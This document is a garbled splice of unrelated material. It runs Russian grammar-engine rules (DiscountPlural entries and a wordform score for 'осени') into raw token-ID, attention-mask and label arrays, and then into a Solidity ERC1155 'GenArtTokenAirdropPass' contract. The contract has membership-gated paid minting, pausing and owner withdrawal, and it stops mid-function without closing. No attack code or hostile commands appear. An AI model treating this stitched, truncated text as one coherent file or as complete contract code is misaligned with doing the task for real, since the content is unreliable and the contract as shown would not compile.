DiscountPlural(залития) //DiscountPlural(замечания) DiscountPlural(замирения) //DiscountPlural(замыкания) DiscountPlural(замысловатости) DiscountPlural(замятия) DiscountPlural(занижения) DiscountPlural(занимания) //DiscountPlural(занятия) //DiscountPlural(занятья) DiscountPlural(западания) DiscountPlural(западения) DiscountPlural(запаздывания) DiscountPlural(заполнения) DiscountPlural(заполняемости) DiscountPlural(запугивания) DiscountPlural(запутанности) //DiscountPlural(запястья) DiscountPlural(заседания) DiscountPlural(засорения) DiscountPlural(застолья) DiscountPlural(застревания) DiscountPlural(затмения) DiscountPlural(заточения) //DiscountPlural(затруднения) DiscountPlural(затушевывания) DiscountPlural(заумности) DiscountPlural(захватывания) DiscountPlural(захмеления) DiscountPlural(захолустья) DiscountPlural(зацикливания) DiscountPlural(зачатия) DiscountPlural(зачерствения) DiscountPlural(зачисления) //DiscountPlural(заявления) //DiscountPlural(звания) DiscountPlural(званья) DiscountPlural(звукоподражания) DiscountPlural(звукосочетания) //DiscountPlural(здания) DiscountPlural(здоровья) DiscountPlural(зелья) DiscountPlural(землевладения) DiscountPlural(землетрясения) //DiscountPlural(зимовья) DiscountPlural(зияния) //DiscountPlural(злодеяния) //DiscountPlural(злоключения) //DiscountPlural(злоупотребления) //DiscountPlural(знаменитости) //DiscountPlural(знамения) //DiscountPlural(знаменья) //DiscountPlural(знания) //DiscountPlural(значения) //DiscountPlural(значенья) DiscountPlural(значимости) DiscountPlural(избавленья) DiscountPlural(избивания) DiscountPlural(избиения) DiscountPlural(избрания) //DiscountPlural(изваяния) //DiscountPlural(изваянья) DiscountPlural(изведения) //DiscountPlural(извержения) //DiscountPlural(известия) //DiscountPlural(извещения) //DiscountPlural(извинения) DiscountPlural(извлечения) DiscountPlural(изволения) //DiscountPlural(извращения) DiscountPlural(изгнания) DiscountPlural(изгнанья) DiscountPlural(изголовья) //DiscountPlural(издания) //DiscountPlural(изделия) DiscountPlural(излития) DiscountPlural(излияния) DiscountPlural(изложения) DiscountPlural(излучения) DiscountPlural(изменения) DiscountPlural(измерения) DiscountPlural(измышления) //DiscountPlural(изнасилования) DiscountPlural(изобличения) //DiscountPlural(изображения) //DiscountPlural(изобретения) //DiscountPlural(изречения) DiscountPlural(изъявления) DiscountPlural(изъязвления) //DiscountPlural(изъятия) DiscountPlural(изысканности) DiscountPlural(изящности) DiscountPlural(иконопочитания) DiscountPlural(именитости) //DiscountPlural(имения) //DiscountPlural(именья) DiscountPlural(имитирования) DiscountPlural(индивидуальности) DiscountPlural(индуктивности) DiscountPlural(инкассирования) DiscountPlural(иносказания) DiscountPlural(интимности) DiscountPlural(инцидентности) //DiscountPlural(искажения) //DiscountPlural(искания) //DiscountPlural(исключения) DiscountPlural(искрения) //DiscountPlural(искривления) DiscountPlural(искушения) //DiscountPlural(испарения) DiscountPlural(исповедания) DiscountPlural(испоганивания) //DiscountPlural(исправления) //DiscountPlural(испражнения) //DiscountPlural(испытания) DiscountPlural(иссечения) //DiscountPlural(исследования) DiscountPlural(Универсиады)
осень осени --> осенить осени
wordform_score "осени" { глагол } = -1
7,303,844
[ 1, 145, 127, 146, 228, 145, 118, 145, 126, 146, 239, 225, 145, 127, 146, 228, 145, 118, 145, 126, 145, 121, 15431, 225, 145, 127, 146, 228, 145, 118, 145, 126, 145, 121, 146, 229, 146, 239, 225, 145, 127, 146, 228, 145, 118, 145, 126, 145, 121, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 2076, 687, 67, 6355, 315, 145, 127, 146, 228, 145, 118, 145, 126, 145, 121, 6, 288, 225, 145, 116, 145, 124, 145, 113, 145, 116, 145, 127, 145, 124, 289, 273, 300, 21, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle( address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value ); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll( address indexed account, address indexed operator, bool approved ); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } interface IGenArt { function getTokensByOwner(address owner) external view returns (uint256[] memory); function ownerOf(uint256 tokenId) external view returns (address); function balanceOf(address owner) external view returns (uint256); function isGoldToken(uint256 _tokenId) external view returns (bool); } /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract GenArtTokenAirdropPass is Context, Ownable, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; using Strings for uint256; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; mapping(uint256 => uint256) private _totalSupply; uint256[3] tokenIds = [1, 2, 3]; uint256[3] tokenId_prices = [0.5 ether, 2.25 ether, 10 ether]; uint256[3] tokenId_cap = [1875, 500, 25]; bool private _paused = false; address genArtMembershipAddress; uint256 endBlock; /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); /** * @dev See {_setURI}. */ constructor( address genArtMembershipAddress_, uint256 endBlock_, string memory uri_ ) { genArtMembershipAddress = genArtMembershipAddress_; endBlock = endBlock_; _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } function uri(uint256 _tokenId) external view virtual override returns (string memory) { return string(abi.encodePacked(_uri, _tokenId.toString())); } /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates weither any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return GenArtTokenAirdropPass.totalSupply(id) > 0; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require( account != address(0), "GenArtTokenAirdropPass: balance query for the zero address" ); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require( accounts.length == ids.length, "GenArtTokenAirdropPass: accounts and ids length mismatch" ); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function setPaused(bool _pause) public onlyOwner { _paused = _pause; if (_paused) { emit Paused(_msgSender()); } else { emit Unpaused(_msgSender()); } } function setUri(string memory newUri) public onlyOwner { _setURI(newUri); } function withdraw(uint256 value) public onlyOwner { address _owner = owner(); payable(_owner).transfer(value); } /** * @dev See {ERC1155-_mint}. */ function mint( uint256 membershipId, address account, uint256 id, uint256 amount ) public payable { require( block.number < endBlock, "GenArtTokenAirdropPass: mint pass sale ended" ); require( id == 1 || id == 2 || id == 3, "GenArtTokenAirdropPass: invalid token id" ); uint256 index = id - 1; require( _totalSupply[id] + amount <= tokenId_cap[index], "GenArtTokenAirdropPass: requested amount too high" ); require( IGenArt(genArtMembershipAddress).ownerOf(membershipId) == msg.sender, "GenArtTokenAirdropPass: sender is not owner of membership" ); uint256 ethValue; unchecked { ethValue = tokenId_prices[index] * amount; } require( ethValue <= msg.value, "GenArtTokenAirdropPass: wrong amount sent" ); _mint(account, id, amount, ""); _totalSupply[id] += amount; } /** * @dev See {ERC1155-_burn}. */ function burn( address account, uint256 id, uint256 amount ) public { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "GenArtTokenAirdropPass: caller is not owner nor approved" ); _burn(account, id, amount); _totalSupply[id] -= amount; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require( _msgSender() != operator, "GenArtTokenAirdropPass: setting approval status for self" ); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "GenArtTokenAirdropPass: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "GenArtTokenAirdropPass: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require( to != address(0), "GenArtTokenAirdropPass: transfer to the zero address" ); address operator = _msgSender(); _beforeTokenTransfer(); uint256 fromBalance = _balances[id][from]; require( fromBalance >= amount, "GenArtTokenAirdropPass: insufficient balance for transfer" ); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require( ids.length == amounts.length, "GenArtTokenAirdropPass: ids and amounts length mismatch" ); require( to != address(0), "GenArtTokenAirdropPass: transfer to the zero address" ); address operator = _msgSender(); _beforeTokenTransfer(); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require( fromBalance >= amount, "GenArtTokenAirdropPass: insufficient balance for transfer" ); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck( operator, from, to, ids, amounts, data ); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require( account != address(0), "GenArtTokenAirdropPass: mint to the zero address" ); address operator = _msgSender(); _beforeTokenTransfer(); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck( operator, address(0), account, id, amount, data ); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require( account != address(0), "GenArtTokenAirdropPass: burn from the zero address" ); address operator = _msgSender(); _beforeTokenTransfer(); uint256 accountBalance = _balances[id][account]; require( accountBalance >= amount, "GenArtTokenAirdropPass: burn amount exceeds balance" ); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer() internal virtual { require(!paused(), "ERC1155Pausable: token transfer while paused"); } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received( operator, from, id, amount, data ) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert( "GenArtTokenAirdropPass: ERC1155Receiver rejected tokens" ); } } catch Error(string memory reason) { revert(reason); } catch { revert( "GenArtTokenAirdropPass: transfer to non ERC1155Receiver implementer" ); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived( operator, from, ids, amounts, data ) returns (bytes4 response) { if ( response != IERC1155Receiver.onERC1155BatchReceived.selector ) { revert( "GenArtTokenAirdropPass: ERC1155Receiver rejected tokens" ); } } catch Error(string memory reason) { revert(reason); } catch { revert( "GenArtTokenAirdropPass: transfer to non ERC1155Receiver implementer" ); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] 